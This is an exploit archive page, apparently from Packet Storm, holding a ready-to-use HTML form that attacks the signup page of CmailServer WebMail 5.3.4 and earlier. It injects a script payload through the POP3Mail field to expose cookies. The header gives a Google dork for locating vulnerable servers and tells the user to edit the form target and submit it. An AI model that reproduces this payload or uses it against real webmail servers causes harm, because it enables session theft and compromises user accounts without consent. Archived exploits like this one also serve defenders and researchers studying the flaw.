CmailServer WebMail versions 5.3.4 and below remote cross site scripting exploit.
90aec9df4adaab84df2aa9eb1a8e3087a7a25f22b7653f61b935f301139f2090
<html>
<head>
<script>
//'===============================================================================================
//'[Script Name: CmailServer WebMail <= V.5.3.4 (signup) Remote XSS Exploit
//'[Coded by : ajann
//'[Author : ajann
//'[Contact : :(
//'[Dork : "inurl:/mail/signup.asp"
//'[Dork Ex. : http://www.google.com.tr/search?q=inurl:/mail/signup.asp&hl=tr&start=0&sa=N
//'[S.Page : http://www.youngzsoft.net/
//'[Using : Please "action" edit and submit
//'===============================================================================================
</script>
</head>
<title>Cmail XSS </title>
<body>
<Form Method="Post" Action="[target]/signup.asp">
<Input Type=Hidden Name=Signup Value="0">
<input type="hidden" name="Account" size="30">
<Input Type="hidden" Name="Pass" size="30" value="">
<Input Type="hidden" Name="RePass" size="30" value="">
<input type="hidden" name="UserName" size="30" value="">
<Input type="hidden" Name="Comment" size="30" value="">
<Input Name="POP3Mail" size="30" value="<script>JavaScript:alert(document.cookie);</script>">
<Input Type="Submit" Value="Submit XSS">
</Form>
</body>
</html>
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed